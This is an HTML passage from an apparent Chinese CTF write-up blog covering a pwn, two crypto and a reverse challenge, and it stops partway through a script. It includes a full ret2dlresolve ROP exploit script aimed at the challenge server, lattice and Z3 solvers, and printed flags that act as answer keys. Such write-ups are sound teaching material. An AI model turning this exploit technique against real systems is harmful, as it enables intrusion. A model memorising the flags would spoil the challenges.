title="pwner_LEVEL6"></a>pwner_LEVEL6</h2><ul><li>类型：Pwn</li><li>得分：88</li><li>时间：06&#x2F;06 10:24:47</li></ul><p>这是标准 <code>ret2dlresolve</code>。<br>先用 ROP 调 <code>read@plt</code>，把伪造解析结构写进 <code>.bss</code>，再借助 <code>plt0</code> 解析出 <code>system</code>，最终执行 <code>cat /home/ctf/flag</code>。</p><p>关键脚本里直接用 <code>Ret2dlresolvePayload</code> 生成二阶段数据：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">dl = Ret2dlresolvePayload(</span><br><span class="line">    elf,</span><br><span class="line">    symbol=<span class="string">&quot;system&quot;</span>,</span><br><span class="line">    args=[<span class="string">b&quot;cat /home/ctf/flag&quot;</span>],</span><br><span class="line">    data_addr=<span class="number">0x404018</span>,</span><br><span class="line">)</span><br></pre></td></tr></table></figure><p>第一阶段 ROP 负责 <code>read@plt</code> 把伪造结构写进去，第二阶段把 <code>reloc_index</code> 喂给 <code>plt0</code>，让动态解析过程替我们解出 <code>system</code>。本地最后留下来的完整 solve.py 是下面这份：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">HOST = <span class="string">&quot;123.56.126.77&quot;</span></span><br><span class="line">PORT = <span class="number">1006</span></span><br><span class="line"></span><br><span class="line">context.binary = elf = ELF(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line">context.arch = <span class="string">&quot;amd64&quot;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">build_payload</span>():</span><br><span class="line">    rop = ROP(elf)</span><br><span class="line">    cmd = <span class="string">b&quot;cat /home/ctf/flag&quot;</span></span><br><span class="line">    dl = Ret2dlresolvePayload(</span><br><span class="line">        elf,</span><br><span class="line">        symbol=<span class="string">&quot;system&quot;</span>,</span><br><span class="line">        args=[cmd],</span><br><span class="line">        data_addr=<span class="number">0x404018</span>,</span><br><span class="line">    )</span><br><span class="line"></span><br><span class="line">    pop_rdi = rop.find_gadget([<span class="string">&quot;pop rdi&quot;</span>, <span class="string">&quot;ret&quot;</span>]).address</span><br><span class="line">    pop_rsi_r15 = rop.find_gadget([<span class="string">&quot;pop rsi&quot;</span>, <span class="string">&quot;pop r15&quot;</span>, <span class="string">&quot;ret&quot;</span>]).address</span><br><span class="line">    pop_rdx = rop.find_gadget([<span class="string">&quot;pop rdx&quot;</span>, <span class="string">&quot;ret&quot;</span>]).address</span><br><span class="line"></span><br><span class="line">    arg_addr = dl.data_addr + dl.payload.index(cmd + <span class="string">b&quot;\x00&quot;</span>)</span><br><span class="line">    chain = flat(</span><br><span class="line">        <span class="string">b&quot;A&quot;</span> * <span class="number">0x48</span>,</span><br><span class="line">        pop_rdi,</span><br><span class="line">        <span class="number">0</span>,</span><br><span class="line">        pop_rsi_r15,</span><br><span class="line">        dl.data_addr,</span><br><span class="line">        <span class="number">0</span>,</span><br><span class="line">        pop_rdx,</span><br><span class="line">        <span class="built_in">len</span>(dl.payload),</span><br><span class="line">        <span class="number">0x401050</span>,  <span class="comment"># read@plt</span></span><br><span class="line">        pop_rdi,</span><br><span class="line">        arg_addr,</span><br><span class="line">        <span class="number">0x401020</span>,  <span class="comment"># plt0</span></span><br><span class="line">        dl.reloc_index,</span><br><span class="line">    )</span><br><span class="line">    <span class="keyword">return</span> chain, dl.payload</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">main</span>():</span><br><span class="line">    stage1, stage2 = build_payload()</span><br><span class="line">    io = remote(HOST, PORT)</span><br><span class="line">    io.recvuntil(<span class="string">b&quot;payload:\n&quot;</span>)</span><br><span class="line">    io.send(stage1)</span><br><span class="line">    sleep(<span class="number">0.5</span>)</span><br><span class="line">    io.send(stage2)</span><br><span class="line">    <span class="built_in">print</span>(io.recvrepeat(<span class="number">2</span>).decode(errors=<span class="string">&quot;ignore&quot;</span>))</span><br><span class="line">    io.close()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    main()</span><br></pre></td></tr></table></figure><p>这份脚本的关键点其实就三个：</p><ol><li><code>data_addr=0x404018</code>：把伪造出来的字符串、符号表和重定位表都落到 <code>.bss</code>；</li><li>第一段 ROP 先把 <code>dl.payload</code> 整块 <code>read</code> 进去；</li><li>第二段不直接 call <code>system</code>，而是跳 <code>plt0</code> 并把 <code>dl.reloc_index</code> 当参数喂给动态解析器。</li></ol><p>也就是说，这题不是“自己手搓 fake Elf64_Rela&#x2F;Elf64_Sym”，而是直接借 <code>pwntools</code> 的 <code>Ret2dlresolvePayload</code> 帮忙把结构组织好，再把入口链按标准 ret2dlresolve 方法搭出来。</p><p>Flag：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SDPC&#123;yAVlO6b4P27Zk2VQlq0nmL5Z4uBUrx&#125;</span><br></pre></td></tr></table></figure><h2 id="λd"><a href="#λd" class="headerlink" title="λd"></a>λd</h2><ul><li>类型：Crypto</li><li>得分：159</li><li>时间：06&#x2F;06 10:09:02</li></ul><p>这题虽然长得像 Wiener 变种，但真正要抓的是模数关系已经换了。<br>它不是普通的 <code>e*d = 1 mod phi(N)</code>，而是：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">e * d = 1 mod (p^2 - 1)(q^2 - 1)</span><br></pre></td></tr></table></figure><p>再结合题目给的两个限制：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">p - q &lt; 2^819</span><br><span class="line">d &lt; 2^1331</span><br></pre></td></tr></table></figure><p>可以把</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">M = (p^2 - 1)(q^2 - 1)</span><br></pre></td></tr></table></figure><p>改写成</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">M = (N + 1)^2 - (p + q)^2</span><br></pre></td></tr></table></figure><p>这一步是题目的核心转折。把 <code>M</code> 改写完以后，再引入</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">t = (p + q) - floor(sqrt(4N))</span><br></pre></td></tr></table></figure><p>就能把题目压成一个关于小量 <code>k, t</code> 的二元小根问题。整理后得到：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">f(x, y) = x*y^2 + 2*s0*x*y - B*x - 1 == 0 mod e</span><br></pre></td></tr></table></figure><p>其中：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">x = k</span><br><span class="line">y = t</span><br><span class="line">s0 = floor(sqrt(4N))</span><br><span class="line">B = (N + 1)^2 - s0^2</span><br></pre></td></tr></table></figure><p>约束范围也足够小：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">x &lt; 2^1332</span><br><span class="line">y &lt; 2^620</span><br></pre></td></tr></table></figure><p>所以后面直接上二元 Coppersmith &#x2F; LLL。Sage 里我保留的核心求根代码就是：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> long_to_bytes</span><br><span class="line"></span><br><span class="line">N = ...</span><br><span class="line">e = ...</span><br><span class="line">c = ...</span><br><span class="line"></span><br><span class="line">s0 = isqrt(<span class="number">4</span> * N)</span><br><span class="line">B = (N + <span class="number">1</span>)^<span class="number">2</span> - s0^<span class="number">2</span></span><br><span class="line"></span><br><span class="line">R.&lt;x, y&gt; = PolynomialRing(Zmod(e))</span><br><span class="line">f = x*y^<span class="number">2</span> + <span class="number">2</span>*s0*x*y - B*x - <span class="number">1</span></span><br><span class="line"></span><br><span class="line">roots = small_roots(f, bounds=(<span class="number">2</span>^<span class="number">1332</span>, <span class="number">2</span>^<span class="number">620</span>), m=<span class="number">2</span>, d=<span class="number">3</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> k, t <span class="keyword">in</span> roots:</span><br><span class="line">    t = ZZ(t)</span><br><span class="line">    s = s0 + t</span><br><span class="line">    D = s^<span class="number">2</span> - <span class="number">4</span>*N</span><br><span class="line">    <span class="keyword">if</span> D &gt;= <span class="number">0</span> <span class="keyword">and</span> is_square(D):</span><br><span class="line">        delta = isqrt(D)</span><br><span class="line">        p = (s + delta) // <span class="number">2</span></span><br><span class="line">        q = (s - delta) // <span class="number">2</span></span><br><span class="line">        <span class="keyword">if</span> p * q == N:</span><br><span class="line">            M = (p^<span class="number">2</span> - <span class="number">1</span>) * (q^<span class="number">2</span> - <span class="number">1</span>)</span><br><span class="line">            d = inverse_mod(e, M)</span><br><span class="line">            <span class="built_in">print</span>(long_to_bytes(<span class="built_in">pow</span>(c, d, N)))</span><br><span class="line">            <span class="keyword">break</span></span><br></pre></td></tr></table></figure><p>跑出来 <code>(k, t)</code> 之后，后面的确认是非常硬的：先看 <code>D = s^2 - 4N</code> 是否为完全平方数，再验 <code>p*q == N</code>。这两步都对上以后，重新按题目定义求私钥 <code>d = e^{-1} mod (p^2 - 1)(q^2 - 1)</code>，最后解密自然就落到 flag。</p><p>Flag：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">flag&#123;Lattice_LLL_Defeats_Large_Delta_RSA_Variants!&#125;</span><br></pre></td></tr></table></figure><h2 id="Yield"><a href="#Yield" class="headerlink" title="Yield"></a>Yield</h2><ul><li>类型：Reverse</li><li>得分：256</li><li>时间：06&#x2F;06 10:06:42</li></ul><p>这题是典型的 <code>ptrace</code> 驱动型逆向，而且题目做了两层误导。<br>第一层误导是子进程本身几乎没有正常逻辑，只是在一串 <code>int3</code> 桩函数之间跳；真正的校验流程全都由父进程在 <code>waitpid + ptrace(GETREGS/SETREGS/POKEDATA/CONT)</code> 的循环里动态改出来。<br>第二层误导是样本里故意放了一个很像真答案的假串：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">flag&#123;Y0u_A1e_gO0D_at_STATIC_4NALYS1S&#125;</span><br></pre></td></tr></table></figure><p>如果只做静态字符串搜集，很容易直接停在这里。真正要做的是把父进程状态机还原出来。</p><p>先确认子进程只是读入 36 字节，然后连续调用一串 <code>cc c3</code> 风格的 <code>int3; ret</code> 桩函数；父进程则在每次 trap 后：</p><ol><li>读寄存器；</li><li>校验 trap 点；</li><li>改 <code>RIP</code>；</li><li>必要时补栈返回地址或者 patch 子进程代码；</li><li>决定下一状态。</li></ol><p>顺着状态表还原以后，可以确认真实路径不是去比那个假 flag，而是经过一组变换后去比另一块目标缓冲。最终有效路径对应的变换链是：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">sub_4015AB</span><br><span class="line">-&gt; sub_401638</span><br><span class="line">-&gt; sub_4016C9</span><br><span class="line">-&gt; sub_4017A4</span><br><span class="line">-&gt; 分支约束：(RAX &amp; 3) != 1</span><br><span class="line">-&gt; sub_401CAD</span><br><span class="line">-&gt; sub_401D46</span><br><span class="line">-&gt; target_A</span><br></pre></td></tr></table></figure><p>最后直接把几段变换建成 Z3 约束去反推输入。这里不能只写半截，不然没法直接复核，所以关键脚本要把 <code>target_A</code> 也一起恢复出来。核心部分如下：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> z3 <span class="keyword">import</span> BitVec, BitVecVal, Extract, RotateLeft, RotateRight, Solver, ZeroExt, sat</span><br><span class="line"></span><br><span class="line">BYTE_403020 = <span class="built_in">bytes</span>.fromhex(<span class="string">&quot;d50598bc638adf52bf3fdd85595fb52ed3554b692761aea40ceaad0dd40103535b9232d4&quot;</span>)</span><br><span class="line">BYTE_403060 = <span class="built_in">list</span>(<span class="built_in">bytes</span>.fromhex(<span class="string">&quot;1e131c0c220a1a0914161b200021021d04100d1208051f1117230f03070119150e180b06&quot;</span>))</span><br><span class="line">BYTE_4030A0 = <span class="built_in">bytes</span>.fromhex(<span class="string">&quot;e328c65b05bc6e3ef61f07fba6d767ba3d4c28fd54ab76685353934c2e014b01fd5e3187&quot;</span>)</span><br><span class="line"></span><br><span class="line">IDX1 = [<span class="number">2</span>, <span class="number">7</span>, <span class="number">8</span>, <span class="number">10</span>, <span class="number">13</span>, <span class="number">14</span>, <span class="number">19</span>, <span class="number">21</span>, <span class="number">23</span>, <span class="number">27</span>, <span class="number">31</span>, <span class="number">33</span>]</span><br><span class="line">IDX2 = [<span class="number">5</span>, <span class="number">6</span>, <span class="number">9</span>, <span class="number">12</span>, <span class="number">15</span>, <span class="number">17</span>, <span class="number">18</span>, <span class="number">20</span>, <span class="number">30</span>, <span class="number">32</span>, <span class="number">34</span>, <span class="number">35</span>]</span><br><span class="line">IDX3 = [<span class="number">0</span>, <span class="number">1</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">11</span>, <span class="number">16</span>, <span class="number">22</span>, <span class="number">24</span>, <span class="number">25</span>, <span class="number">26</span>, <span class="number">28</span>, <span class="number">29</span>]</span><br><span class="line"></span><br><span class="line">BYTE_4030F8 = [<span class="number">165</span>, <span class="number">66</span>, <span class="number">6</span>, <span class="number">114</span>, <span class="number">160</span>, <span class="number">5</span>, <span class="number">131</span>, <span class="number">224</span>, <span class="number">110</span>, <span class="number">28</span>, <span class="number">45</span>, <span class="number">53</span>]</span><br><span class="line">BYTE_403108 = [<span class="number">218</span>, <span class="number">78</span>, <span class="number">223</span>, <span class="number">27</span>, <span class="number">240</span>, <span class="number">124</span>, <span class="number">73</span>, <span class="number">168</span>, <span class="number">129</span>, <span class="number">122</span>, <span class="number">251</span>, <span class="number">147</span>]</span><br><span class="line">BYTE_403118 = [<span class="number">252</span>, <span class="number">152</span>, <span class="number">174</span>, <span class="number">79</span>, <span class="number">84</span>, <span class="number">79</span>, <span class="number">222</span>, <span class="number">78</span>, <span class="number">123</span>, <span class="number">151</span>, <span class="number">134</span>, <span class="number">33</span>]</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rol8</span>(<span class="params">value: <span class="built_in">int</span>, count: <span class="built_in">int</span></span>) -&gt; <span class="built_in">int</span>:</span><br><span class="line">    <span class="keyword">return</span> ((value &lt;&lt; count) | (value &gt;&gt; (<span class="number">8</span> - count))) &amp; <span class="number">0xFF</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">build_target_a</span>() -&gt; <span class="built_in">bytes</span>:</span><br><span class="line">    buf = [<span class="number">0</span>] * <span class="number">36</span></span><br><span class="line">    <span class="keyword">for</span> i, pos <span class="keyword">in</span> <span class="built_in">enumerate</span>(IDX1):</span><br><span class="line">        buf[pos] = ((<span class="number">7</span> * pos + <span class="number">51</span>) &amp; <span class="number">0xFF</span>) ^ BYTE_4030F8[i]</span><br><span class="line">    <span class="keyword">for</span> i, pos <span class="keyword">in</span> <span class="built_in">enumerate</span>(IDX2):</span><br><span class="line">        buf[pos] = ((<span class="number">7</span> * pos + <span class="number">85</span>) &amp; <span class="number">0xFF</span>) ^ BYTE_403108[i]</span><br><span class="line">    <span class="keyword">for</span> i, pos <span class="keyword">in</span> <span class="built_in">enumerate</span>(IDX3):</span><br><span class="line">        buf[pos] = ((<span class="number">7</span> * pos + <span class="number">119</span>) &amp; <span class="number">0xFF</span>) ^ BYTE_403118[i]</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">bytes</span>(buf)</span><br><span class="line"></span><br><span class="line">target = build_target_a()</span><br><span class="line">flag = [BitVec(<span class="string">f&quot;flag_<span class="subst">&#123;i&#125;</span>&quot;</span>, <span class="number">8</span>) <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">36</span>)]</span><br><span class="line"></span><br><span class="line">stage0 = [RotateLeft(flag[i] ^ BitVecVal(BYTE_403020[i], <span class="number">8</span>), i % <span class="number">7</span> + <span class="number">1</span>) <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">36</span>)]</span><br><span class="line">stage1 = [stage0[BYTE_403060[i]] ^ BitVecVal((<span class="number">17</span> * i + <span class="number">11</span>) &amp; <span class="number">0xFF</span>, <span class="number">8</span>) <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">36</span>)]</span><br><span class="line">stage2 = [(stage1[i] + stage1[(i + <span class="number">1</span>) % <span class="number">36</span>]) ^ BitVecVal(rol8((<span class="number">9</span> * i + <span class="number">3</span>) &amp; <span class="number">0xFF</span>, <span class="number">1</span>), <span class="number">8</span>) <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">36</span>)]</span><br><span class="line">stage3 = [RotateRight(stage2[i] ^ BitVecVal(BYTE_4030A0[(<span class="number">5</span> * i) % <span class="number">36</span>], <span class="number">8</span>), i % <span class="number">5</span> + <span class="number">1</span>) <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">36</span>)]</span><br><span class="line">stage4 = [stage3[i] ^ stage3[(i + <span class="number">13</span>) % <span class="number">36</span>] ^ BitVecVal((<span class="number">29</span> * i + <span class="number">7</span>) &amp; <span class="number">0xFF</span>, <span class="number">8</span>) <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">36</span>)]</span><br><span class="line"></span><br><span class="line">solver = Solver()</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">36</span>):</span><br><span class="line">    solver.add(flag[i] &gt;= <span class="number">0x20</span>, flag[i] &lt;= <span class="number">0x7E</span>)</span><br><span class="line">    solver.add(stage4[i] == target[i])</span><br><span class="line"></span><br><span class="line">acc = BitVecVal(<span class="number">0x31415926</span>, <span class="number">32</span>)</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">36</span>):</span><br><span class="line">    byte_val = ZeroExt(<span class="number">24</span>, Extract(<span class="number">7</span>, <span class="number">0</span>, stage2[i] + BitVecVal((<span class="number">7</span> * i) &amp; <span class="number">0xFF</span>, <span class="number">8</span>)))</span><br><span class="line">    acc = RotateRight(acc, <span class="number">3</span>) ^ byte_val</span><br><span class="line">    acc = acc - BitVecVal(<span class="number">0x61C88647</span>, <span class="number">32</span>)</span><br><span class="line">solver.add((acc &amp; BitVecVal(<span class="number">3</span>, <span class="number">32</span>)) != BitVecVal(<span class="number">1</span>, <span class="number">32</span>))</span><br><span class="line"></span><br><span class="line"><span class="keyword">assert</span> solver.check() == sat</span><br><span class="line">model = solver.model()</span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">bytes</span>(model.<span class="built_in">eval</span>(flag[i]).as_long() <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">36</span>)).decode())</span><br></pre></td></tr></table></figure><p>这题真正的确认点有两个：</p><ol><li>把假 flag <code>flag{Y0u_A1e_gO0D_at_STATIC_4NALYS1S}</code> 喂回原程序会失败；</li><li>用约束解出来的新串喂回去，程序会进 <code>Correct!</code>。</li></ol><p>实际二次验证时，直接把结果喂回原程序：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">printf</span> <span class="string">&#x27;flag&#123;Y0u_A1e_gO0D_at_FLOW_h11@ckIng&#125;\n&#x27;</span> | ./Yield</span><br></pre></td></tr></table></figure><p>输出会是：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Input flag: Correct!</span><br></pre></td></tr></table></figure><p>所以最后答案不是“从字符串表里捞一个像 flag 的串”，而是完整走通了父进程状态机对应的真实控制流。</p><p>Flag：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">flag&#123;Y0u_A1e_gO0D_at_FLOW_h11@ckIng&#125;</span><br></pre></td></tr></table></figure><h2 id="Double²"><a href="#Double²" class="headerlink" title="Double²"></a>Double²</h2><ul><li>类型：Crypto</li><li>得分：177</li><li>时间：06&#x2F;06 09:58:59</li></ul><p>这题本质上是一个 Small RSA Subgroup Decision Problem。<br>题目给出的模数不是普通 RSA 那种随手挑两个大素数，而是专门构造成：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">p = <span class="number">2</span>^(d + <span class="number">1</span>) * ps * pt + <span class="number">1</span></span><br><span class="line">q = <span class="number">2</span>^(d + <span class="number">1</span>) * qs * qt + <span class="number">1</span></span><br><span class="line">N = p * q</span><br></pre></td></tr></table></figure><p>并公开 <code>(N, p0 = 2, d, g)</code>，其中 <code>g</code> 在模 <code>p</code> 和模 <code>q</code> 下都有 <code>2^d</code> 阶。每个 flag bit 还给了 <code>reps = 48</code> 个样本，样本分布大致是：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">bit = <span class="number">1</span>: <span class="built_in">pow</span>(qr(N), <span class="number">2</span>^d * pt * qt, N)</span><br><span class="line">bit = <span class="number">0</span>: qr(N)</span><br></pre></td></tr></table></figure><p>所以这题不是“分解 N 再正常解密”，而是判别每一行 48 个样本到底来自哪一类分布。起手看见 <code>p0 = 2</code> 基本就该往 quartic residuosity 上想，因为这正好落在 4 阶元素和四次剩余符号最顺手的那个分支。</p><p>真正解题时我先做了这几步：</p><ol><li>构造 4 阶元素 <code>h = g^(2^d / 4) mod N</code>；</li><li>验证 <code>h^2 = -1 mod N</code>；</li><li>在高斯整数环 <code>Z[i]</code> 中计算 <code>rho = gcd(N, h - i)</code>；</li><li>对每个样本 <code>x</code> 计算 quartic Jacobi symbol <code>(x / rho)_4</code>；</li><li>统计一整行 48 个样本里判成 <code>1</code> 的个数，按阈值直接决定该 bit。</li></ol><p>这一步里最重要的不是大段理论，而是那个分布差异：</p><ul><li>如果这一行对应 <code>bit = 1</code>，那么 48 个样本的 quartic symbol 会高度集中地等于 <code>1</code>；</li><li>如果这一行对应 <code>bit = 0</code>，那它们就更像普通随机二次剩余，quartic symbol 不会几乎全是 <code>1</code>。</li></ul><p>因为每位有足足 48 个样本，所以根本不用摇摆，直接做阈值判别就很稳。</p><p>当时保留下来的完整求解脚本如下：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="keyword">from</span> pathlib <span class="keyword">import</span> Path</span><br><span class="line"></span><br><span class="line">I = <span class="number">1j</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">gi_norm</span>(<span class="params">z</span>):</span><br><span class="line">    a, b = z</span><br><span class="line">    <span class="keyword">return</span> a * a + b * b</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">div_round</span>(<span class="params">num, den</span>):</span><br><span class="line">    <span class="keyword">if</span> num &gt;= <span class="number">0</span>:</span><br><span class="line">        <span class="keyword">return</span> (<span class="number">2</span> * num + den) // (<span class="number">2</span> * 